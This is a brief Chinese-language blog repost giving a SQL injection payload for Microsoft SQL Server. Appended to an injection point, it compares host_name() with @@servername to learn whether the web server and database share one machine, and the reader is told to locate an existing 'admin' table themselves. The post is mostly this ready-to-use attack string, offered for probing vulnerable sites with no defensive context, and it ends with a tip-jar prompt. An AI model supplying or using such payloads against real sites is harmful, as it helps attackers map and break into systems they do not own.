转自：小默的博客

and exists(select * from admin where 1=(Select (case when host_name()
=@@servername then 1 else 0 end)))

加在注入点后面,如果返回正常说明web和数据库是同一服务器,如果不正常责说明是分离的.
注意admin是数据库存在的一个表,自己找吧.

打赏

微信扫一扫，打赏作者吧～